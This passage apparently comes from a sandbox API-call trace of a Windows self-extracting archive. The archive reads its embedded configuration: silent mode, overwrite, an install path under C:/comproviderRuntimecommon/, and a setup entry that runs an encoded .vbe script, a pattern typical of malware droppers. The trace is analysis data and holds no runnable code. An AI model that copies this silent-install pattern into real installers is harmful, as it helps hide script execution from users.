lpOverlapped=0x0 | out: lpBuffer=0x3d7cd4*, lpNumberOfBytesRead=0x3d5a38*=0x7, lpOverlapped=0x0) returned 1 [0075.361] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x3090020 | out: hHeap=0x4c0000) returned 1 [0075.373] ReadFile (in: hFile=0x144, lpBuffer=0x3d7cdb, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x3d5a38, lpOverlapped=0x0 | out: lpBuffer=0x3d7cdb*, lpNumberOfBytesRead=0x3d5a38*=0x1, lpOverlapped=0x0) returned 1 [0075.373] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x3d5a60*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3d5a60*=0) returned 0x5da08 [0075.373] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x4ed990 [0075.373] ReadFile (in: hFile=0x144, lpBuffer=0x4ed990, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3d3920, lpOverlapped=0x0 | out: lpBuffer=0x4ed990*, lpNumberOfBytesRead=0x3d3920*=0x7, lpOverlapped=0x0) returned 1 [0075.373] ReadFile (in: hFile=0x144, lpBuffer=0x4ed997, nNumberOfBytesToRead=0xa, lpNumberOfBytesRead=0x3d3920, lpOverlapped=0x0 | out: lpBuffer=0x4ed997*, lpNumberOfBytesRead=0x3d3920*=0xa, lpOverlapped=0x0) returned 1 [0075.373] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4ed990 | out: hHeap=0x4c0000) returned 1 [0075.373] SetFilePointer (in: hFile=0x144, lDistanceToMove=383513, lpDistanceToMoveHigh=0x3d5a40*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3d5a40*=0) returned 0x5da19 [0075.374] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x3d5a6c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3d5a6c*=0) returned 0x5da19 [0075.374] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x3d5a60*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3d5a60*=0) returned 0x5da19 [0075.374] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x4ed990 [0075.374] ReadFile (in: hFile=0x144, lpBuffer=0x4ed990, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3d3920, lpOverlapped=0x0 | out: lpBuffer=0x4ed990*, lpNumberOfBytesRead=0x3d3920*=0x7, lpOverlapped=0x0) returned 1 [0075.374] ReadFile (in: hFile=0x144, lpBuffer=0x4ed997, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x3d3920, lpOverlapped=0x0 | out: lpBuffer=0x4ed997*, lpNumberOfBytesRead=0x3d3920*=0x11, lpOverlapped=0x0) returned 1 [0075.374] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4ed990 | out: hHeap=0x4c0000) returned 1 [0075.374] SetFilePointer (in: hFile=0x144, lDistanceToMove=383635, lpDistanceToMoveHigh=0x3d5a40*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3d5a40*=0) returned 0x5da93 [0075.374] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x3d5a60*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3d5a60*=0) returned 0x5da93 [0075.375] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x4ed990 [0075.375] ReadFile (in: hFile=0x144, lpBuffer=0x4ed990, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3d3920, lpOverlapped=0x0 | out: lpBuffer=0x4ed990*, lpNumberOfBytesRead=0x3d3920*=0x7, lpOverlapped=0x0) returned 1 [0075.375] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4ed990, Size=0x48) returned 0x501678 [0075.375] ReadFile (in: hFile=0x144, lpBuffer=0x50167f, nNumberOfBytesToRead=0x30, lpNumberOfBytesRead=0x3d3920, lpOverlapped=0x0 | out: lpBuffer=0x50167f*, lpNumberOfBytesRead=0x3d3920*=0x30, lpOverlapped=0x0) returned 1 [0075.375] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x501678 | out: hHeap=0x4c0000) returned 1 [0075.375] SetFilePointer (in: hFile=0x144, lDistanceToMove=383513, lpDistanceToMoveHigh=0x3d5a4c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3d5a4c*=0) returned 0x5da19 [0075.375] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x3d5ab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3d5ab0*=0) returned 0x5da19 [0075.375] SetFilePointer (in: hFile=0x144, lDistanceToMove=383513, lpDistanceToMoveHigh=0x3d5a7c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3d5a7c*=0) returned 0x5da19 [0075.375] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x3d5a7c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3d5a7c*=0) returned 0x5da19 [0075.375] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x20) returned 0x4ed990 [0075.375] ReadFile (in: hFile=0x144, lpBuffer=0x4ed990, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x3d393c, lpOverlapped=0x0 | out: lpBuffer=0x4ed990*, lpNumberOfBytesRead=0x3d393c*=0x7, lpOverlapped=0x0) returned 1 [0075.375] ReadFile (in: hFile=0x144, lpBuffer=0x4ed997, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x3d393c, lpOverlapped=0x0 | out: lpBuffer=0x4ed997*, lpNumberOfBytesRead=0x3d393c*=0x11, lpOverlapped=0x0) returned 1 [0075.376] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4ed990 | out: hHeap=0x4c0000) returned 1 [0075.376] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8003) returned 0x501678 [0075.377] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8003) returned 0x509688 [0075.378] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x40000) returned 0x511698 [0075.382] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x62) returned 0x5516a0 [0075.382] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xb54) returned 0x551710 [0075.382] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x100000) returned 0xdf0020 [0075.383] ReadFile (in: hFile=0x144, lpBuffer=0xdf0020, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x3c72c4, lpOverlapped=0x0 | out: lpBuffer=0xdf0020*, lpNumberOfBytesRead=0x3c72c4*=0x62, lpOverlapped=0x0) returned 1 [0075.383] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0075.383] GetProcAddress (hModule=0x76860000, lpProcName="PeekMessageW") returned 0x768805ba [0075.383] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3c724c | out: lpflOldProtect=0x3c724c*=0x4) returned 1 [0075.384] PeekMessageW (in: lpMsg=0x3c72d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3c72d0) returned 1 [0075.384] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0075.384] GetProcAddress (hModule=0x76860000, lpProcName="GetMessageW") returned 0x768778e2 [0075.384] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3c7250 | out: lpflOldProtect=0x3c7250*=0x4) returned 1 [0075.384] GetMessageW (in: lpMsg=0x3c72d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3c72d0) returned 1 [0075.384] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0075.385] GetProcAddress (hModule=0x76860000, lpProcName="IsDialogMessageW") returned 0x7689c701 [0075.385] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3c7258 | out: lpflOldProtect=0x3c7258*=0x4) returned 1 [0075.385] IsDialogMessageW (hDlg=0xa005c, lpMsg=0x3c72d0) returned 0 [0075.385] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0075.385] GetProcAddress (hModule=0x76860000, lpProcName="TranslateMessage") returned 0x76877809 [0075.385] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3c725c | out: lpflOldProtect=0x3c725c*=0x4) returned 1 [0075.386] TranslateMessage (lpMsg=0x3c72d0) returned 0 [0075.386] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0075.386] GetProcAddress (hModule=0x76860000, lpProcName="DispatchMessageW") returned 0x7687787b [0075.386] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3c725c | out: lpflOldProtect=0x3c725c*=0x4) returned 1 [0075.386] DispatchMessageW (lpMsg=0x3c72d0) returned 0x0 [0075.386] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0075.387] PeekMessageW (in: lpMsg=0x3c72dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3c72dc) returned 0 [0075.387] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0075.387] PeekMessageW (in: lpMsg=0x3c72c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3c72c8) returned 0 [0075.387] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0075.395] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0xdf0020 | out: hHeap=0x4c0000) returned 1 [0075.400] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x511698 | out: hHeap=0x4c0000) returned 1 [0075.401] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x509688 | out: hHeap=0x4c0000) returned 1 [0075.401] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x501678 | out: hHeap=0x4c0000) returned 1 [0075.401] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x5516a0, Size=0x9a) returned 0x552270 [0075.401] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc6) returned 0x552318 [0075.402] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x552270 | out: hHeap=0x4c0000) returned 1 [0075.402] SetFilePointer (in: hFile=0x144, lDistanceToMove=383513, lpDistanceToMoveHigh=0x3d5a90*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3d5a90*=0) returned 0x5da19 [0075.402] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc4) returned 0x5523e8 [0075.402] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x552318 | out: hHeap=0x4c0000) returned 1 [0075.402] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f9380 | out: hHeap=0x4c0000) returned 1 [0075.405] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f71f0 | out: hHeap=0x4c0000) returned 1 [0075.405] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f82b8 | out: hHeap=0x4c0000) returned 1 [0075.405] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x551710 | out: hHeap=0x4c0000) returned 1 [0075.405] CloseHandle (hObject=0x144) returned 1 [0075.406] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x3bfa90, nSize=0x1000 | out: lpDst="1") returned 0x2 [0075.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0075.407] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x3bfa84, nSize=0x1000 | out: lpDst="1") returned 0x2 [0075.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0075.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0075.407] ExpandEnvironmentStringsW (in: lpSrc="\"C:/comproviderRuntimecommon/\"", lpDst=0x3bfa84, nSize=0x1000 | out: lpDst="\"C:/comproviderRuntimecommon/\"") returned 0x1f [0075.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0075.407] ExpandEnvironmentStringsW (in: lpSrc="et1pu6VAlkUOY7GuC90A.vbe", lpDst=0x3bfa84, nSize=0x1000 | out: lpDst="et1pu6VAlkUOY7GuC90A.vbe") returned 0x19 [0075.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0075.408] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x3bfa84, nSize=0x1000 | out: lpDst="U") returned 0x2 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0075.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0075.409] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x3bfa90, nSize=0x1000 | out: lpDst="1") returned 0x2 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0075.409] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x3bfa84, nSize=0x1000 | out: lpDst="1") returned 0x2 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0075.409] ExpandEnvironmentStringsW (in: lpSrc="\"C:/comproviderRuntimecommon/\"", lpDst=0x3bfa84, nSize=0x1000 | out: lpDst="\"C:/comproviderRuntimecommon/\"") returned 0x1f [0075.409] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.410] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0075.410] GetDlgItem (hDlg=0xa005c, nIDDlgItem=102) returned 0xa005e [0075.410] SetWindowTextW (hWnd=0xa005e, lpString="C:/comproviderRuntimecommon/") returned 1 [0075.413] SendMessageW (hWnd=0xa005e, Msg=0x143, wParam=0x0, lParam=0x131a472) returned 0x0 [0075.414] ExpandEnvironmentStringsW (in: lpSrc="et1pu6VAlkUOY7GuC90A.vbe", lpDst=0x3bfa84, nSize=0x1000 | out: lpDst="et1pu6VAlkUOY7GuC90A.vbe") returned 0x19 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0075.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0075.415] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x3bfa84, nSize=0x1000 | out: lpDst="U") returned 0x2 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0075.415] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x3bfa90, nSize=0x1000 | out: lpDst="1") returned 0x2 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.415] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", 